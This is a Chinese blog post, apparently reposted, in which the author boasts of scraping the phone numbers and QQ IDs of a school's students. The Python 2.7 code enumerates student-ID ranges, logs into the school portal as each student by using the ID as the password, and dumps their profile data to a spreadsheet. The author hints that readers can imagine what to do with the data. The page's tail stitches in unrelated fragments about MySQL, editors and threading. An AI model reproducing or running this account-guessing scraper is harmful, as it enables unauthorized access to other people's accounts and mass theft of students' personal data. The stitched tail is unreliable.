爬虫实在是太好玩了!看我是如何获取整个学校的学生call和qq!

爬虫开始前的准备:

  • python2.7
  • 库文件(xlwt,urllib2,BeautifulSoup4,xlrd)

安装库文件的方法:

最好在你的python2.7/script/下面打开power shell(可以shift+右击) 执行下面的:

安装库文件:

pip install *** ***是指上面的库文件,下面不一定都用,只要上面的,以后出什么错,你就继续pip install

如何查看自己已经安装了的库

pip list

观察网站结构(密码规则):

密码规则

  • 首先这个规则是针对大二和已经毕业了的
  • 密码规则没有添加验证码(其实添加验证码也没什么用,只是添加了爬取门槛)
  • 规则是 用户名==密码
  • 符合条件

user_info

  • 这里的用户信息
  • 不要在意这些细节(马赛克) 朦胧美一直是我的追求

sys.setdefaultencoding("utf-8")
# ssl这个是验证证书 https
ssl._create_default_https_context = ssl._create_unverified_context
# 生成一个存储cookie的对象
c = cookielib.LWPCookieJar()
cookie = urllib2.HTTPCookieProcessor(c)
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)

  • 学号的列表

不要在意我是怎么知道的,

重要的是这些规则,你怎么去重新写一个函数代入

(里面的我修改过,所以不要套用,以免浪费时间)

# 学号只在最后3位不一样,随机数xrange() 可以处理更好的处理大的列表
def user_id():
 list_1 = []
 for i in xrange(101,249):
 list_1.append(‘1131050‘+str(i))
 for i in xrange(301,349):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(401,448):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(501,548):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(101,150):
 list_1.append(‘1131070‘+ str(i))
 for i in xrange(101,151):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(201,252):
 list_1.append(‘1135050‘+ str(i))
 for i in xrange(301,352):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(401,453):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(101,148):
 list_1.append(‘1131070‘+ str(i))
 for i in xrange(201,247):
 list_1.append(‘1131070‘+ str(i))
 return list_1
  • 用户信息的获取

这里用的的是beautifulsoup库

def user_info():
 url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx"
 html2 = opener.open(url_info).read()

 # python2.7 没装lxml的可能会报错,pip install lxml

 soup = BeautifulSoup(html2,"lxml") #以lxml 方式解析抓下来的lxml
 infos = soup.select("tr > td > span") # css seletor 来获取指定标签
 #print profes
 # print infos
 return infos
  • 写入xls(这个是思路)测试用的函数

因为在写的时候因为编码问题,不能写入中文

def write_user():
 file2 = xlwt.Workbook(encoding=‘utf-8‘) #打开一个excel,并且编码格式以 ‘utf-8‘
 table = file2.add_sheet(‘info‘,cell_overwrite_ok=True) #添加一个表
 table.write(0,0,"15d中文3s0") # 写入内容,table.write(row,col,‘value‘)
 file2.save(‘file2.xls‘)
  • 开始行动:
  • 添加上延迟访问: time.sleep(1)
  1. 因为爬虫访问的不和人一样,访问会很快,
  2. 这样可以避免被封ip 还有避免给站点带来不好的影响
def go_user():
 user_list = []
 user_infos = []
 user_list = user_id()
 file2 = xlwt.Workbook(encoding=‘utf-8‘)
 table = file2.add_sheet(‘info‘,cell_overwrite_ok=True)
 r = 0 #row 行
 for i in user_list:
 c = 0 #col
 login(username=i, password=i) #登录,并传入列表的学号
 user_infos = user_info() #获取学号信息,格式是字典
 for i in user_infos[0:10]: #写入表单中,循环把信息写进去
 # print i.get_text()
 table.write(r,c,i.get_text())
 c += 1
 r += 1
 time.sleep(1) #延迟访问,可避免封ip,还有影响服务器
 print r,c
 file2.save(‘file2.xls‘)

程序执行结束:

部分截图:有图有真相,避免无知的喷子

学号规则很好找的,这样就获取半个学校的call和qq啦,至于能干嘛,自己脑补。。。

end_info

不知道库的使用方法,我这里总结了下,还有不知道的只能百度啦

是不是很强势?有没有很装逼?哈哈哈!

进群:125240963  即可获取源码!

原文地址:https://www.cnblogs.com/py1357/p/9159371.html

时间: 2024-10-12 02:53:02

爬虫实在是太好玩了!看我是如何获取整个学校的学生call和qq!的相关文章

因为mysql数据库在Linux上实在是太流行了

因为mysql数据库在Linux上实在是太流行了,所以目前下载的主流Linux系统版本基本上都集成了mysql数据库在里面,我们可以通过如下命令来查看我们的操作系统上是否已经安装了mysql数据库 [[email protected] ~]# rpm -qa | grep mysql // 这个命令就会查看该操作系统上是否已经安装了mysql数据库 有的话,我们就通过 rpm -e 命令 或者 rpm -e --nodeps 命令来卸载掉 [[email protected] ~]# rpm -

multiple-cursors实在是太好用了

.title { text-align: center; margin-bottom: .2em } .subtitle { text-align: center; font-size: medium; font-weight: bold; margin-top: 0 } .todo { font-family: monospace; color: red } .done { font-family: monospace; color: green } .priority { font-fami

妹子图太多怎么看才好,Swing来支招

最近事少,翻开很久以前写的小程序,创意倒是尚可,代码写的却比较基础,很多东西没有实现,略改了改形成了现在的模样,现在大家都忙着大数据,中间件,web开发,偶尔看看Java Swing的作品,或许能有另一番感觉. 源码:https://github.com/zhishan332/mana 直接下载可运行(jdk1.6以上):CSDN下载 回头放个云盘的下载链接 如题所说我们是来看妹子的,下面我们就开始: 1.流式浏览,区别与流行看图软件,加快了浏览速度,和网页看图感觉很像 2.设置页面,比较好用的

Python爬虫学习:四、headers和data的获取

之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.com/ 打开网页,按下F12键,如下图所示: 点击下方标签中的Network,如下: 之后再点击下图所示位置: 找到红色下划线位置所示的标签并点击,在右边的显示内容中可以查看到所需要的headers信息. 一般只需要添加User-Agent这一信息就足够了,headers同样也是字典类型: user

海归首选“北上广” 薪资期望不太高 元芳你怎么看?

小小海归水中游 不断增加的海归人数,面对没有最难,只有更难的就业绩,就像飘来忧伤的歌曲,什么样的选择能温暖此时冰冷的心. 美国名校硕士刘莉凭着一口流利的英语,在美国攻读硕士期间,以实验室助教的身份,给当地的本科生讲课.她所就读的凯斯西储大学,全美排名37位.刘莉觉得自己这样在国外求学2年以上.成绩优秀的海归,跟国内应届毕业生相比,还是有竞争优势的.可现在刘莉发现,想找实验室之外的药学相关工作,却并不那么容易.刘莉投了一百多份简历,拿到面试大概不到10个.不禁让我想到,身边的师哥师姐,在这里,都是

海归首选“北广” 薪酬期望值不要太高 元芳你怎么看?

小海龟在水里游泳 不断添加的海归人数,面对没有最难,仅仅有更难的就业绩,就像飘来忧伤的歌曲.什么样的选择能温暖此时冰冷的心. 美国名校硕士刘莉凭着一口流利的英语.在美国攻读硕士期间.以实验室助教的身份,给当地的本科生讲课. 她所就读的凯斯西储大学,全美排名37位.刘莉认为自己这样在国外求学2年以上.成绩优秀的海归.跟国内应届毕业生相比,还是有竞争优势的.可如今刘莉发现,想找实验室之外的药学相关工作,却并不那么easy. 刘莉投了一百多份简历,拿到面试大概不到10个.不禁让我想到,身边的师哥师姐,

看我是如何处理自定义线程模型---java

看过我之前文章的园友可能知道我是做游戏开发,我的很多思路和出发点是按照游戏思路来处理的,所以和web的话可能会有冲突,不相符合. 来说说为啥我要自定义线程模型呢? 按照我做的mmorpg或者mmoarpg游戏划分,线程被划分为,主线程,全局同步线程,聊天线程,组队线程,地图线程,以及地图消息分发派送线程等: 一些列,都需要根据我的划分,以及数据流向做控制. 游戏服务器,主要要做的事情,肯定是接受玩家的 命令请求 -> 相应的操作 -> 返回结果: 在服务器端所有的消息都会注册到消息管理器里,然

学习一下“事件分析器”的作用(电光火华之间的问题,实在是太巧了)

程序什么时候崩溃的,这个太重要了. 新发现一个问题,居然在电光火华之间,时间从昨天变到了今天,但变量的值还是昨天取的,但是使用的时候却已经是今天了,这样条件判断就出错了. 而且更巧的时候,第一个任务的开始运行占了不少时间,因此当判断第二个程序的时候,已经是今天了(正常情况),所以第二个程序不会被触发. 更更更巧的是,时间器每5秒触发一次(也就是说,间隔有5秒),出错的那个任务触发的时候,就是11:59秒,取时间还是11:59秒,但是运行到条件判断以后,就是今天了,真是电光火华啊.这个5秒触发的时

今天玩了tensorflow playground,太好玩了

先上地址: http://playground.tensorflow.org 我试了一个最复杂的,螺旋形的.开始怎么训练都不行.后来我多加了几个神经元,居然能训练成功了.真是太牛逼了! 原文地址:https://www.cnblogs.com/charlesblc/p/8119647.html